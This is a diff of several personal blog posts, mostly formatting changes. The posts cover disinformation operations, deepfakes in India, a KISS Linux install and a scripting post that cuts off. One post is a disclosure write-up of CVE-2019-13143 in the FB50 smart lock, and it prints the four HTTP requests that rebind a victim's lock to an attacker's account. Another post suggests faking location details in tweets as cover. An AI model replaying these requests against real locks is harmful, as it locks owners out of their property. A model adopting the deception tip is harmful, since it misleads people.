is fake. +<br><br>Recontextualisation as threat vector. +<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a> +</p>— thaddeus e. grugq (@thegrugq) +<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a> </blockquote> -``` -```{=html} -<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> -``` -Motivations behind an information operation -------------------------------------------- +<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> -I like to broadly categorize any info op as either proactive or -reactive. Proactively, disinformation is spread with the desire to -influence the target either before or during the occurence of an event. -This is especially observed during elections.[^1] In offensive -information operations, the target's psychological state can be affected -by spreading **fear, uncertainty & doubt**, or FUD for short. +## Motivations behind an information operation -Reactive disinformation is when the actor, usually a nation state in -this case, screws up and wants to cover their tracks. A fitting example -of this is the case of Malaysian Airlines Flight 17 (MH17), which was -shot down while flying over eastern Ukraine. This tragic incident has -been attributed to Russian-backed separatists.[^2] Russian media is -known to have desseminated a number of alternative & some even -conspiratorial theories[^3], in response. The number grew as the JIT's -(Dutch-lead Joint Investigation Team) investigations pointed towards the -separatists. The idea was to **muddle the information** space with these -theories, and as a result, potentially correct information takes a -credibility hit. +I like to broadly categorize any info op as either proactive or reactive. +Proactively, disinformation is spread with the desire to influence the target +either before or during the occurence of an event. This is especially observed +during elections.[^1] +In offensive information operations, the target's psychological state can be affected by +spreading **fear, uncertainty & doubt**, or FUD for short. + +Reactive disinformation is when the actor, usually a nation state in this case, +screws up and wants to cover their tracks. A fitting example of this is the case +of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over +eastern Ukraine. This tragic incident has been attributed to Russian-backed +separatists.[^2] +Russian media is known to have desseminated a number of alternative & some even +conspiratorial theories[^3], in response. The number grew as the JIT's (Dutch-lead Joint +Investigation Team) investigations pointed towards the separatists. +The idea was to **muddle the information** space with these theories, and as a result, +potentially correct information takes a credibility hit. + +Another motive for an info op is to **control the narrative**. This is often seen in use +in totalitarian regimes; when the government decides what the media portrays to the +masses. The ongoing Hong Kong protests is a good example.[^4] According to [NPR](https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests): -Another motive for an info op is to **control the narrative**. This is -often seen in use in totalitarian regimes; when the government decides -what the media portrays to the masses. The ongoing Hong Kong protests is -a good example.[^4] According to -[NPR](https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests): +> Official state media pin the blame for protests on the "black hand" of foreign interference, +> namely from the United States, and what they have called criminal Hong Kong thugs. +> A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, +> who are demanding an end to an extradition bill with China and the ability to elect their own leader. +> Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, +> this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police. +> ... -> Official state media pin the blame for protests on the "black hand" of -> foreign interference, namely from the United States, and what they -> have called criminal Hong Kong thugs. A popular conspiracy theory -> posits the CIA incited and funded the Hong Kong protesters, who are -> demanding an end to an extradition bill with China and the ability to -> elect their own leader. Fueling this theory, China Daily, a state -> newspaper geared toward a younger, more cosmopolitan audience, this -> week linked to a video purportedly showing Hong Kong protesters using -> American-made grenade launchers to combat police. ... -Media used to disperse disinfo ------------------------------- +## Media used to disperse disinfo -As seen in the above example of totalitarian governments, national TV -and newspaper agencies play a key role in influence ops en masse. It -guarantees outreach due to the channel/paper's popularity. +As seen in the above example of totalitarian governments, national TV and newspaper agencies +play a key role in influence ops en masse. It guarantees outreach due to the channel/paper's +popularity. -Twitter is another, obvious example. Due to the ease of creating -accounts and the ability to generate activity programmatically via the -API, Twitter bots are the go-to choice today for info ops. Essentially, -an actor attempts to create "discussions" amongst "users" (read: bots), -to push their narrative(s). Twitter also provides analytics for every -tweet, enabling actors to get realtime insights into what sticks and -what doesn't. The use of Twitter was seen during the previously -discussed MH17 case, where Russia employed its troll factory --- the -[Internet Research -Agency](https://en.wikipedia.org/wiki/Internet_Research_Agency) (IRA) to -create discussions about alternative theories. +Twitter is another, obvious example. Due to the ease of creating accounts and the ability to +generate activity programmatically via the API, Twitter bots are the go-to choice today for +info ops. Essentially, an actor attempts to create "discussions" amongst "users" (read: bots), +to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to +get realtime insights into what sticks and what doesn't. +The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll +factory -- the [Internet Research Agency](https://en.wikipedia.org/wiki/Internet_Research_Agency) (IRA) +to create discussions about alternative theories. -In India, disinformation is often spread via YouTube, WhatsApp and -Facebook. Political parties actively invest in creating group chats to -spread political messages and memes. These parties have volunteers whose -sole job is to sit and forward messages. Apart from political -propaganda, WhatsApp finds itself as a medium of fake news. In most -cases, this is disinformation without a motive, or the motive is hard to -determine simply because the source is impossible to trace, lost in -forwards.[^5] This is a difficult problem to combat, especially given -the nature of the target audience. +In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties +actively invest in creating group chats to spread political messages and memes. These parties +have volunteers whose sole job is to sit and forward messages. +Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases, +this is disinformation without a motive, or the motive is hard to determine simply because +the source is impossible to trace, lost in forwards.[^5] +This is a difficult problem to combat, especially given the nature of the target audience. -The actors behind disinfo campaigns ------------------------------------ +## The actors behind disinfo campaigns I doubt this requires further elaboration, but in short: -- nation states and their intelligence agencies -- governments, political parties -- other non/quasi-governmental groups -- trolls +- nation states and their intelligence agencies +- governments, political parties +- other non/quasi-governmental groups +- trolls -This essentially sums up the what, why, how and who of disinformation. +This essentially sums up the what, why, how and who of disinformation. -Personal OPSEC --------------- +## Personal OPSEC -This is a fun one. Now, it's common knowledge that **STFU is the best -policy**. But sometimes, this might not be possible, because afterall -inactivity leads to suspicion, and suspicion leads to scrutiny. Which -might lead to your OPSEC being compromised. So if you really have to, -you can feign activity using disinformation. For example, pick a place, -and throw in subtle details pertaining to the weather, local events or -regional politics of that place into your disinfo. Assuming this is -Twitter, you can tweet stuff like: +This is a fun one. Now, it's common knowledge that +**STFU is the best policy**. But sometimes, this might not be possible, because +afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might +lead to your OPSEC being compromised. +So if you really have to, you can feign activity using disinformation. For example, +pick a place, and throw in subtle details pertaining to the weather, local events +or regional politics of that place into your disinfo. Assuming this is Twitter, you can +tweet stuff like: -- "Ugh, when will this hot streak end?!" -- "Traffic wonky because of the Mardi Gras parade." -- "Woah, XYZ place is nice! Especially the fountains by ABC street." +- "Ugh, when will this hot streak end?!" +- "Traffic wonky because of the Mardi Gras parade." +- "Woah, XYZ place is nice! Especially the fountains by ABC street." -Of course, if you're a nobody on Twitter (like me), this is a non-issue -for you. +Of course, if you're a nobody on Twitter (like me), this is a non-issue for you. And please, don't do this:  -Conclusion ----------- - -The ability to influence someone's decisions/thought process in just one -tweet is scary. There is no simple way to combat disinformation. Social -media is hard to control. Just like anything else in cyber, this too is -an endless battle between social media corps and motivated actors. - -A huge shoutout to Bellingcat for their extensive research in this -field, and for helping folks see the truth in a post-truth world. - -[^1]: [This](https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked) - episode of CYBER talks about election influence ops (features the - grugq!). - -[^2]: The [Bellingcat - Podcast](https://www.bellingcat.com/category/resources/podcasts/)'s - season one covers the MH17 investigation in detail. +## Conclusion -[^3]: [Wikipedia section on MH17 conspiracy - theories](https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories) +The ability to influence someone's decisions/thought process in just one tweet is +scary. There is no simple way to combat disinformation. Social media is hard to control. +Just like anything else in cyber, this too is an endless battle between social media corps +and motivated actors. -[^4]: [Chinese newspaper spreading - disinfo](https://twitter.com/gdead/status/1171032265629032450) +A huge shoutout to Bellingcat for their extensive research in this field, and for helping +folks see the truth in a post-truth world. -[^5]: Use an adblocker before clicking - [this](https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html). +[^1]: [This](https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked) episode of CYBER talks about election influence ops (features the grugq!). +[^2]: The [Bellingcat Podcast](https://www.bellingcat.com/category/resources/podcasts/)'s season one covers the MH17 investigation in detail. +[^3]: [Wikipedia section on MH17 conspiracy theories](https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories) +[^4]: [Chinese newspaper spreading disinfo](https://twitter.com/gdead/status/1171032265629032450) +[^5]: Use an adblocker before clicking [this](https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html).
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pages/txt/efficacy-deepfakes.txt
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pages/txt/efficacy-deepfakes.txt
@@ -1,13 +1,14 @@
--- -date: '2020-05-11' -subtitle: 'Can we really write it off as "not a threat"?' +template: +url: efficacy-deepfakes title: The efficacy of deepfakes -url: 'efficacy-deepfakes' +subtitle: Can we really write it off as "not a threat"? +date: 2020-05-11 --- A few days back, NPR put out an article discussing why deepfakes aren't -all that powerful in spreading disinformation. [Link to -article](https://www.npr.org/2020/05/07/851689645/why-fake-video-audio-may-not-be-as-powerful-in-spreading-disinformation-as-feare). +all that powerful in spreading disinformation. +[Link to article](https://www.npr.org/2020/05/07/851689645/why-fake-video-audio-may-not-be-as-powerful-in-spreading-disinformation-as-feare). According to the article:@@ -20,33 +21,32 @@ I agree. This might be the case when it comes to Russian influence.
There are simpler, more cost-effective ways to conduct [active measures](https://en.wikipedia.org/wiki/Active_measures), like memes. Besides, America already has the infrastructure in place to combat -influence ops, and have been doing so for a while now. +influence ops, and have been doing so for a while now. However, there are certain demographics whose governments may not have -the capability to identify and perform damage control when a -disinformation campaign hits, let alone deepfakes. An example of this +the capability to identify and perform damage control when +a disinformation campaign hits, let alone deepfakes. An example of this demographic: India. -the Indian landscape --------------------- +## the Indian landscape The disinformation problem in India is way more sophisticated, and harder to combat than in the West. There are a couple of reasons for this: -- The infrastructure for fake news already exists: WhatsApp -- Fact checking media in 22 different languages is non-trivial +- The infrastructure for fake news already exists: WhatsApp +- Fact checking media in 22 different languages is non-trivial India has had a long-standing problem with misinformation. The 2019 -elections, the recent CAA controversy and even more recently---the -coronavirus. In some cases, it has even lead to [mob -violence](https://www.npr.org/2018/07/18/629731693/fake-news-turns-deadly-in-india). +elections, the recent CAA controversy and even more recently -- the +coronavirus. In some cases, it has even lead to +[mob violence](https://www.npr.org/2018/07/18/629731693/fake-news-turns-deadly-in-india). All of this shows that the populace is easily influenced, and deepfakes are only going to simplify this. What's worse is explaining to a rural -crowd that something like a deepfake can exist---comprehension and +crowd that something like a deepfake can exist -- comprehension and adoption of technology has always been slow in India, and can be -attributed to socio-economic factors. +attributed to socio-economic factors. There also exists a majority of the population that's already been influenced to a certain degree: the right wing. A deepfake of a Muslim@@ -54,8 +54,7 @@ leader trashing Hinduism will be eaten up instantly. They are inclined
to believe it is true, by virtue of prior influence and given the present circumstances. -countering deepfakes --------------------- +## countering deepfakes The thing about deepfakes is the tech to spot them already exists. In fact, some can even be eyeballed. Deepfake imagery tends to have weird@@ -68,18 +67,17 @@
Further, India does not have the infrastructure to combat deepfakes at scale. By the time a research group / think tank catches wind of it, the damage is likely already done. Besides, disseminating contradictory -information, i.e. "this video is fake", is also a task of its own. +information, i.e. "this video is fake", is also a task of its own. Public opinion has already been swayed, and the brain dislikes contradictions. -why haven't we seen it yet? ---------------------------- +## why haven't we seen it yet? -Creating a deepfake isn't trivial. Rather, creating a *convincing* one +Creating a deepfake isn't trivial. Rather, creating a _convincing_ one isn't. I would also assume that most political propaganda outlets are just large social media operations. They lack the technical prowess and / or the funding to produce a deepfake. This doesn't mean they can't -ever. +ever. It goes without saying, but this post isn't specific to India. I'd say other countries with a similar socio-economic status are in a similar
M
pages/txt/fb50.txt
→
pages/txt/fb50.txt
@@ -1,37 +1,33 @@
--- -date: '2019-08-05' -subtitle: ... and lessons learnt in IoT security template: text.html -title: 'Picking the FB50 smart lock (CVE-2019-13143)' +title: Picking the FB50 smart lock (CVE-2019-13143) +subtitle: … and lessons learnt in IoT security +date: 2019-08-05 url: fb50.md --- -(*originally posted at [SecureLayer7's -Blog](http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure), -with my edits*) +(*originally posted at [SecureLayer7's Blog](http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure), with my edits*) -The lock --------- +## The lock The lock in question is the FB50 smart lock, manufactured by Shenzhen -Dragon Brother Technology Co. Ltd. This lock is sold under multiple -brands across many ecommerce sites, and has over, an estimated, 15k+ -users. +Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands +across many ecommerce sites, and has over, an estimated, 15k+ users. The lock pairs to a phone via Bluetooth, and requires the OKLOK app from the Play/App Store to function. The app requires the user to create an -account before further functionality is available. It also facilitates -configuring the fingerprint, and unlocking from a range via Bluetooth. +account before further functionality is available. +It also facilitates configuring the fingerprint, +and unlocking from a range via Bluetooth. -We had two primary attack surfaces we decided to tackle---Bluetooth -(BLE) and the Android app. +We had two primary attack surfaces we decided to tackle -- Bluetooth (BLE) +and the Android app. -Via Bluetooth Low Energy (BLE) ------------------------------- +## Via Bluetooth Low Energy (BLE) -Android phones have the ability to capture Bluetooth (HCI) traffic which -can be enabled under Developer Options under Settings. We made around 4 -"unlocks" from the Android phone, as seen in the screenshot. +Android phones have the ability to capture Bluetooth (HCI) traffic +which can be enabled under Developer Options under Settings. We made +around 4 "unlocks" from the Android phone, as seen in the screenshot. @@ -40,164 +36,163 @@
 We attempted replaying these requests using `gattool` and `gattacker`, -but that didn't pan out, since the value being written was -encrypted.[^1] +but that didn't pan out, since the value being written was encrypted.[^1] -Via the Android app -------------------- +## Via the Android app -Reversing the app using `jd-gui`, `apktool` and `dex2jar` didn't get us -too far since most of it was obfuscated. Why bother when there exists an -easier approach---BurpSuite. +Reversing the app using `jd-gui`, `apktool` and `dex2jar` didn't get us too +far since most of it was obfuscated. Why bother when there exists an +easier approach -- BurpSuite. We captured and played around with a bunch of requests and responses, and finally arrived at a working exploit chain. -The exploit ------------ +## The exploit -The entire exploit is a 4 step process consisting of authenticated HTTP -requests: +The entire exploit is a 4 step process consisting of authenticated +HTTP requests: -1. Using the lock's MAC (obtained via a simple Bluetooth scan in the - vicinity), get the barcode and lock ID -2. Using the barcode, fetch the user ID -3. Using the lock ID and user ID, unbind the user from the lock -4. Provide a new name, attacker's user ID and the MAC to bind the - attacker to the lock +1. Using the lock's MAC (obtained via a simple Bluetooth scan in the +vicinity), get the barcode and lock ID +2. Using the barcode, fetch the user ID +3. Using the lock ID and user ID, unbind the user from the lock +4. Provide a new name, attacker's user ID and the MAC to bind the attacker +to the lock This is what it looks like, in essence (personal info redacted). ### Request 1 - POST /oklock/lock/queryDevice - {"mac":"XX:XX:XX:XX:XX:XX"} +``` +POST /oklock/lock/queryDevice +{"mac":"XX:XX:XX:XX:XX:XX"} +``` Response: - { - "result":{ - "alarm":0, - "barcode":"<BARCODE>", - "chipType":"1", - "createAt":"2019-05-14 09:32:23.0", - "deviceId":"", - "electricity":"95", - "firmwareVersion":"2.3", - "gsmVersion":"", - "id":<LOCK ID>, - "isLock":0, - "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", - "lockPwd":"000000", - "mac":"XX:XX:XX:XX:XX:XX", - "name":"lock", - "radioName":"BlueFPL", - "type":0 - }, - "status":"2000" - } +``` +{ + "result":{ + "alarm":0, + "barcode":"<BARCODE>", + "chipType":"1", + "createAt":"2019-05-14 09:32:23.0", + "deviceId":"", + "electricity":"95", + "firmwareVersion":"2.3", + "gsmVersion":"", + "id":<LOCK ID>, + "isLock":0, + "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", + "lockPwd":"000000", + "mac":"XX:XX:XX:XX:XX:XX", + "name":"lock", + "radioName":"BlueFPL", + "type":0 + }, + "status":"2000" +} +``` ### Request 2 - POST /oklock/lock/getDeviceInfo +``` +POST /oklock/lock/getDeviceInfo - {"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"} +{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"} +``` Response: - "result":{ - "account":"email@some.website", - "alarm":0, - "barcode":"<BARCODE>", - "chipType":"1", - "createAt":"2019-05-14 09:32:23.0", - "deviceId":"", - "electricity":"95", - "firmwareVersion":"2.3", - "gsmVersion":"", - "id":<LOCK ID>, - "isLock":0, - "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", - "lockPwd":"000000", - "mac":"XX:XX:XX:XX:XX:XX", - "name":"lock", - "radioName":"BlueFPL", - "type":0, - "userId":<USER ID> - } +``` + "result":{ + "account":"email@some.website", + "alarm":0, + "barcode":"<BARCODE>", + "chipType":"1", + "createAt":"2019-05-14 09:32:23.0", + "deviceId":"", + "electricity":"95", + "firmwareVersion":"2.3", + "gsmVersion":"", + "id":<LOCK ID>, + "isLock":0, + "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", + "lockPwd":"000000", + "mac":"XX:XX:XX:XX:XX:XX", + "name":"lock", + "radioName":"BlueFPL", + "type":0, + "userId":<USER ID> + } +``` ### Request 3 - POST /oklock/lock/unbind - - {"lockId":"<LOCK ID>","userId":<USER ID>} +``` +POST /oklock/lock/unbind +{"lockId":"<LOCK ID>","userId":<USER ID>} +``` ### Request 4 - POST /oklock/lock/bind +``` +POST /oklock/lock/bind - {"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"} +{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"} +``` -That's it! (& the scary stuff) ------------------------------- +## That's it! (& the scary stuff) -You should have the lock transferred to your account. The severity of -this issue lies in the fact that the original owner completely loses -access to their lock. They can't even "rebind" to get it back, since the -current owner (the attacker) needs to authorize that. +You should have the lock transferred to your account. The severity of this +issue lies in the fact that the original owner completely loses access to +their lock. They can't even "rebind" to get it back, since the current owner +(the attacker) needs to authorize that. To add to that, roughly 15,000 user accounts' info are exposed via IDOR. -Ilja, a cool dude I met on Telegram, noticed locks named "carlock", +Ilja, a cool dude I met on Telegram, noticed locks named "carlock", "garage", "MainDoor", etc.[^2] This is terrifying. *shudders* -Proof of Concept ----------------- +## Proof of Concept [PoC Video](https://twitter.com/icyphox/status/1158396372778807296) [Exploit code](https://github.com/icyphox/pwnfb50) -Disclosure timeline -------------------- +## Disclosure timeline -- **26th June, 2019**: Issue discovered at SecureLayer7, Pune -- **27th June, 2019**: Vendor notified about the issue -- **2nd July, 2019**: CVE-2019-13143 reserved -- No response from vendor -- **2nd August 2019**: Public disclosure +- **26th June, 2019**: Issue discovered at SecureLayer7, Pune +- **27th June, 2019**: Vendor notified about the issue +- **2nd July, 2019**: CVE-2019-13143 reserved +- No response from vendor +- **2nd August 2019**: Public disclosure -Lessons learnt --------------- +## Lessons learnt -**DO NOT**. Ever. Buy. A smart lock. You're better off with the "dumb" -ones with keys. With the IoT plague spreading, it brings in a large -attack surface to things that were otherwise "unhackable" (try hacking a -"dumb" toaster). +**DO NOT**. Ever. Buy. A smart lock. You're better off with the "dumb" ones +with keys. With the IoT plague spreading, it brings in a large attack surface +to things that were otherwise "unhackable" (try hacking a "dumb" toaster). The IoT security scene is rife with bugs from over 10 years ago, like -executable stack segments[^3], hardcoded keys, and poor development +executable stack segments[^3], hardcoded keys, and poor development practices in general. -Our existing threat models and scenarios have to be updated to factor in -these new exploitation possibilities. This also broadens the playing -field for cyber warfare and mass surveillance campaigns. +Our existing threat models and scenarios have to be updated to factor +in these new exploitation possibilities. This also broadens the playing +field for cyber warfare and mass surveillance campaigns. -Researcher info ---------------- - -This research was done at [SecureLayer7](https://securelayer7.net), -Pune, IN by: +## Researcher info -- Anirudh Oppiliappan (me) -- S. Raghav Pillai ([@_vologue](https://twitter.com/\_vologue)) -- Shubham Chougule ([@shubhamtc](https://twitter.com/shubhamtc)) +This research was done at [SecureLayer7](https://securelayer7.net), Pune, IN by: -[^1]: [This](https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/) - article discusses a similar smart lock, but they broke the - encryption. +* Anirudh Oppiliappan (me) +* S. Raghav Pillai ([@_vologue](https://twitter.com/_vologue)) +* Shubham Chougule ([@shubhamtc](https://twitter.com/shubhamtc)) +[^1]: [This](https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/) article discusses a similar smart lock, but they broke the encryption. [^2]: Thanks to Ilja Shaposhnikov (@drakylar). +[^3]: [PDF](https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf) + -[^3]: [PDF](https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf)
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pages/txt/five-days-tty.txt
→
pages/txt/five-days-tty.txt
@@ -1,50 +1,50 @@
--- -date: '2020-01-13' -subtitle: I installed KISS Linux +template: title: Five days in a TTY -url: 'five-days-tty' +url: five-days-tty +subtitle: I installed KISS Linux +date: 2020-01-13 --- This new semester has been pretty easy on me, so far. I hardly every have any classes (again, so far), and I've a ton of free time on my -hands. This calls for---yep---a distro hop! +hands. This calls for -- yep---a distro hop! -Why KISS? ---------- +## Why KISS? -[KISS](https://getkiss.org) has been making rounds on the interwebz -lately.[^1] The Hacker News post spurred *quite* the discussion. But -then again, that is to be expected from Valleybros who use macOS all -day. :\^) +[KISS](https://getkiss.org) has been making rounds on the interwebz lately.[^hn] +The Hacker News post spurred _quite_ the discussion. But then again, +that is to be expected from Valleybros who use macOS all day. :^) From the website, > An independent Linux® distribution with a focus on simplicity and the -> concept of "less is more". The distribution targets *only* the x86-64 +> concept of “less is more”. The distribution targets *only* the x86-64 > architecture and the English language. Like many people did in the HN thread, "simplicity" here is not to be confused with "ease". It is instead, simplicity in terms of lesser and -cleaner code---no +cleaner code -- no [Poetterware](https://www.urbandictionary.com/define.php?term=poetterware). +[^hn]: https://news.ycombinator.com/item?id=21021396 + This, I can get behind. A clean system with less code is like a clean table. It's nice to work on. It also implies security to a certain -extent since there's a smaller attack surface. +extent since there's a smaller attack surface. -The [`kiss`](https://github.com/kisslinux/kiss) package manager is -written is pure POSIX sh, and does *just enough*. Packages are compiled -from source and `kiss` automatically performs dependency resolution. -Creating packages is ridiculously easy too. +The [`kiss`](https://github.com/kisslinux/kiss) package manager is written +is pure POSIX sh, and does _just enough_. Packages are compiled from +source and `kiss` automatically performs dependency resolution. Creating +packages is ridiculously easy too. -Speaking of packages, all packages---both official & community -repos---are run through `shellcheck` before getting merged. This is +Speaking of packages, all packages -- both official & community +repos -- are run through `shellcheck` before getting merged. This is awesome; I don't think this is done in any other distro. In essence, KISS sucks less. -Installing KISS ---------------- +## Installing KISS The [install guide](https://getkiss.org/pages/install) is very easy to follow. Clear instructions that make it hard to screw up; that didn't@@ -52,26 +52,28 @@ stop me from doing so, however.
### Day 1 -Although technically not in a TTY, it was still not *in* the KISS -system---I'll count it. I'd compiled the kernel in the chroot and +Although technically not in a TTY, it was still not _in_ the KISS +system -- I'll count it. I'd compiled the kernel in the chroot and decided to use `efibootmgr` instead of GRUB. `efibootmgr` is a neat tool to modify the Intel Extensible Firmware Interface (EFI). Essentially, -you boot the `.efi` directly as opposed to choosing which boot entry you -want to boot, through GRUB. Useful if you have just one OS on the +you boot the `.efi` directly as opposed to choosing which boot entry +you want to boot, through GRUB. Useful if you have just one OS on the system. Removes one layer of abstraction. Adding a new EFI entry is pretty easy. For me, the command was: - efibootmgr --create - --disk /dev/nvme0n1 \ - --part 1 \ - --label KISS Linux \ - --loader /vmlinuz - --unicode 'root=/dev/nvme0n1p3 rw' # kernel parameters +``` +efibootmgr --create + --disk /dev/nvme0n1 \ + --part 1 \ + --label KISS Linux \ + --loader /vmlinuz + --unicode 'root=/dev/nvme0n1p3 rw' # kernel parameters +``` -Mind you, this didn't work the first time, or the second, or the third -... a bunch of trial and error (and asking on `#kisslinux`) later, it -worked. +Mind you, this didn't work the first time, or the second, or the +third ... a bunch of trial and error (and asking on `#kisslinux`) +later, it worked. Well, it booted, but not into KISS. Took a while to figure out that the culprit was `CONFIG_BLK_DEV_NVME` not having been set in the kernel@@ -80,22 +82,21 @@
### Day 2 Networking! How fun. An `ip a` and I see that both USB tethering -(ethernet) and wireless don't work. Great. Dug around a bit---missing -wireless drivers was the problem. Found my driver, a binary `.ucode` -from Intel (eugh!). The whole day was spent in figuring out why the -kernel would never load the firmware. I tried different -variations---loading it as a module (`=m`), baking it in (`=y`) but no -luck. +(ethernet) and wireless don't work. Great. Dug around a bit -- missing +wireless drivers was the problem. Found my driver, a binary `.ucode` from +Intel (eugh!). The whole day was spent in figuring out why the kernel +would never load the firmware. I tried different variations -- loading +it as a module (`=m`), baking it in (`=y`) but no luck. ### Day 3 -I then tried Alpine's kernel config but that was so huge and had a *ton* +I then tried Alpine's kernel config but that was so huge and had a _ton_ of modules and took far too long to build each time, much to my -annoyance. Diffing their config and mine was about \~3000 lines! Too -much to sift through. On a whim, I decided to scrap my entire KISS -install and start afresh. +annoyance. Diffing their config and mine was about ~3000 lines! Too much +to sift through. On a whim, I decided to scrap my entire KISS install +and start afresh. -For some odd reason, after doing the *exact* same things I'd done +For some odd reason, after doing the _exact_ same things I'd done earlier, my wireless worked this time. Ethernet didn't, and still doesn't, but that's ok.@@ -106,39 +107,38 @@ enough. The culprit this time was a missing `xf86-xorg-input` package.
Installing that gave me my mouse back, but not the keyboard! It was definitely not the kernel this time, because I had a working -keyboard in the TTY. +keyboard in the TTY. ### Day 4 & Day 5 -This was probably the most annoying of all, since the fix was *trivial*. +This was probably the most annoying of all, since the fix was _trivial_. By this point I had exhausted all ideas, so I decided to build my -essential packages and setup my system. Building Firefox took nearly 9 -hours, the other stuff were much faster. +essential packages and setup my system. Building Firefox took nearly +9 hours, the other stuff were much faster. I was still chatting on IRC during this, trying to zero down on what the problem could be. And then: - <dylanaraps> For starters I think st fails due to no fonts. +``` +<dylanaraps> For starters I think st fails due to no fonts. +``` -Holy shit! Fonts. I hadn't installed *any* fonts. Which is why none of +Holy shit! Fonts. I hadn't installed _any_ fonts. Which is why none of the applications I tried launching via `sowm` ever launched, and hence, I was lead to believe my keyboard was dead. -Worth it? ---------- +## Worth it? -Absolutely. I *cannot* stress on how much of a learning experience this +Absolutely. I _cannot_ stress on how much of a learning experience this was. Also a test of my patience and perseverance, but yeah ok. I also think that this distro is my endgame (yeah, right), probably because other distros will be nothing short of disappointing, in one way or another. Huge thanks to the folks at `#kisslinux` on Freenode for helping me -throughout. And I mean, they *really* did. We chatted for hours on end +throughout. And I mean, they _really_ did. We chatted for hours on end trying to debug my issues. I'll now conclude with an obligatory screenshot.  - -[^1]: https://news.ycombinator.com/item?id=21021396
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pages/txt/hacky-scripts.txt
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pages/txt/hacky-scripts.txt
@@ -1,58 +1,56 @@
--- -date: '2019-10-24' -subtitle: The most fun way to learn to code +template: title: Hacky scripts -url: 'hacky-scripts' +subtitle: The most fun way to learn to code +date: 2019-10-24 +url: hacky-scripts --- -As a CS student, I see a lot of people around me doing courses online to -learn to code. Don't get me wrong---it probably works for some. Everyone -learns differently. But that's only going to get you so far. Great you -know the syntax, you can solve some competitive programming problems, -but that's not quite enough, is it? The actual learning comes from -*applying* it in solving *actual* problems---not made up ones. (*inb4 -some seething CP bro comes at me*) +As a CS student, I see a lot of people around me doing courses online +to learn to code. Don't get me wrong -- it probably works for some. +Everyone learns differently. But that's only going to get you so far. +Great you know the syntax, you can solve some competitive programming +problems, but that's not quite enough, is it? The actual learning comes +from _applying_ it in solving _actual_ problems -- not made up ones. +(_inb4 some seething CP bro comes at me_) Now, what's an actual problem? Some might define it as real world problems that people out there face, and solving it probably requires building a product. This is what you see in hackathons, generally. -If you ask me, however, I like to define it as problems that *you* -yourself face. This could be anything. Heck, it might not even be a -"problem". It could just be an itch that you want to scratch. And this -is where **hacky scripts** come in. Unclear? Let me illustrate with a -few examples. +If you ask me, however, I like to define it as problems that _you_ yourself +face. This could be anything. Heck, it might not even be a "problem". It +could just be an itch that you want to scratch. And this is where +**hacky scripts** come in. Unclear? Let me illustrate with a few +examples. -Now playing status in my bar ----------------------------- +## Now playing status in my bar -If you weren't aware already---I rice my desktop. A lot. And a part of +If you weren't aware already -- I rice my desktop. A lot. And a part of this cohesive experience I try to create involves a status bar up at the -top of my screen, showing the time, date, volume and battery statuses -etc. +top of my screen, showing the time, date, volume and battery statuses etc. So here's the "problem". I wanted to have my currently playing song (Spotify), show up on my bar. How did I approach this? A few ideas popped up in my head: -- Send `playerctl`'s STDOUT into my bar -- Write a Python script to query Spotify's API -- Write a Python/shell script to query Last.fm's API +- Send `playerctl`'s STDOUT into my bar +- Write a Python script to query Spotify's API +- Write a Python/shell script to query Last.fm's API The first approach bombed instantly. `playerctl` didn't recognize my -Spotify client and whined about some `dbus` issues to top it off. I -spent a while in that rabbit hole but eventually gave up. +Spotify client and whined about some `dbus` issues to top it off. +I spent a while in that rabbit hole but eventually gave up. -My next avenue was the Spotify Web API. One look at the -[docs](https://developer.spotify.com/documentation/web-api/) and I -realize that I'll have to make *more* than one request to fetch the +My next avenue was the Spotify Web API. One look at the [docs](https://developer.spotify.com/documentation/web-api/) and +I realize that I'll have to make _more_ than one request to fetch the artist and track details. Nope, I need this to work fast. -Last resort---Last.fm's API. Spolier alert, this worked. Also, arguably -the best choice, since it shows the track status regardless of where the -music is being played. Here's the script in its entirety: +Last resort -- Last.fm's API. Spolier alert, this worked. Also, arguably +the best choice, since it shows the track status regardless of where +the music is being played. Here's the script in its entirety: -``` {.shell} +```shell #!/usr/bin/env bash # now 